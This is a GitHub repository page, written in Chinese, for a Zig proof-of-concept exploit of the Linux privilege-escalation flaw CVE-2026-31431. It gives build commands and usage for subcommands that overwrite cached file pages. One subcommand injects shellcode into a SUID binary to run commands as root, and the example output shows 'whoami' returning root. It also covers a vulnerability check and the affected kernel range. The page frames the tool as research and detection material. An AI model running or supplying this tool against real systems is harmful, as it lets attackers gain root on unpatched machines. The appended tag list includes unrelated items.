Emmmmllll/copy-fail-zig

GitHub: Emmmmllll/copy-fail-zig

CVE-2026-31431 Linux 本地提权漏洞的 Zig 语言概念验证实现,利用 AF_ALG 内核模块的文件页面写入原语,支持向 SUID 二进制注入 shellcode 实现提权,兼顾安全研究与防御检测。

Stars: 0 | Forks: 0

# Copy Fail (CVE-2026-31431) Zig 实现 针对 Copy Fail Linux LPE (CVE-2026-31431) 的 732 字节 [概念验证](https://github.com/theori-io/copy-fail-CVE-2026-31431) 的 Zig 实现,该漏洞由 Theori / Xint 于 2026 年 4 月 29 日披露。 详细分析可在 [copy.fail](https://copy.fail) 找到。 本实现没有运行时依赖,可以作为独立二进制文件运行。 # 构建 构建该漏洞利用程序需要 zig 0.16.0 或更高版本,可以从 [ziglang.org](https://ziglang.org/download/) 安装。 要构建该漏洞利用程序,请在终端中运行以下命令: ``` zig build ``` 或者,可以针对不同的 Target 进行交叉构建 例如: ``` zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall ``` 或者使用未压缩的 payloads ``` zig build -Dcompress=false ``` # 用法 运行编译好的二进制文件或使用 zig 运行它 ``` zig-out/bin/copyfail OR zig build run ``` ``` $ zig-out/bin/copyfail Usage: run [offset] [-- args...] - Write data to the executable at the given offset (default 0) and run it sudo [command...] - Runs a command as root by writing shellcode to a suid binary. (the first argument of command must be the full path to program to run) modify [offset] - Write data to the file at the given offset (default 0) reset - Reset the file to its original state help - Show this message ``` 该可执行文件可以使用不同的命令运行: **`run`** 首先将提供的数据写入到指定路径的可执行文件的给定偏移量(默认为 0)处,然后运行它。 执行完成后,使用 posix_fadvise 将文件恢复到其原始状态。 示例: ``` copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh ``` **`sudo`** 将内置的 shellcode 写入 suid 二进制文件并执行它,以 root 身份运行命令。 shellcode 的源代码可以在 `payloads/sudo.zig` 中找到。 命令的第一个参数必须是程序的完整路径,因为 shellcode 不会搜索要运行的程序。 执行完成后,与 `run` 命令一样,文件将被恢复。 示例: ``` $ copyfail sudo /usr/bin/su /usr/bin/whoami root ``` **`modify`** 将提供的数据写入到指定路径文件的给定偏移量(默认为 0)处,但不执行它。 修改后,文件**不会**恢复。请使用 `reset` 命令来恢复它。 示例: ``` copyfail modify /path/to/file "My new content" 1337 ``` **`reset`** 使用 posix_fadvise 将指定路径的文件恢复到其原始状态。这将丢弃缓存的页面,并在再次访问时从磁盘读取内容。 示例: ``` copyfail reset /path/to/file ``` **`is_vulnerable`** 通过创建一个临时文件、向其写入测试数据并将其读回以检查数据是否损坏,来测试系统是否存在漏洞。 示例: ``` $ copyfail is_vulnerable warning: System is vulnerable OR info: System is not vulnerable ``` **`help`** 打印用法信息。 # 受影响的内核 (摘自 [copy-fail-c](https://github.com/tgies/copy-fail-c)) ``` floor: torvalds/linux 72548b093ee3 August 2017, v4.14 (AF_ALG iov_iter rework that introduced the file-page write primitive via splice into the AEAD scatterlist) ceiling: torvalds/linux a664bf3d603d April 2026, mainline (reverts the 2017 algif_aead in-place optimization; separates source and destination scatterlists so page-cache pages can no longer be a writable crypto destination) ``` 在此之间:每个没有反向移植 (backport) 该修复的主要发行版内核。 Ubuntu、RHEL、SUSE、Amazon Linux 和 Debian 均被确认在其漏洞披露时的默认云镜像内核中存在漏洞。 发行版级别的反向移植修复于 2026-04-29 左右与公开披露同步开始推出。要验证目标内核是否处于受影响的范围内,请检查内核的 git log 或发行版的 changelog 中是否存在 `a664bf3d603d`(或其特定于发行版的反向移植版本)。 # 许可证与致谢 CVE-2026-31431 的发现与原始披露:Theori / Xint。 公开详细分析:[copy.fail](https://copy.fail/)。 本 Zig 实现:Emmmmllll Zig 编译器和标准库:遵循 MIT 条款的 [Zig Software Foundation](https://ziglang.org/) 。 该漏洞利用程序和载荷 (payload) 的发布仅供安全研究和防御检测之用。将其用于您不拥有或未获得明确授权进行测试的系统所产生的一切后果由您自行承担,与作者无关。
标签:Bing搜索, CVE-2026-31431, LPE, PoC, Shellcode, SUID, Web报告查看器, Zig语言, 子域名枚举, 安全渗透, 技术调研, 数据展示, 暴力破解, 本地提权, 漏洞分析, 漏洞复现, 漏洞靶场, 系统安全, 红队, 跨平台编译, 路径探测, 防御检测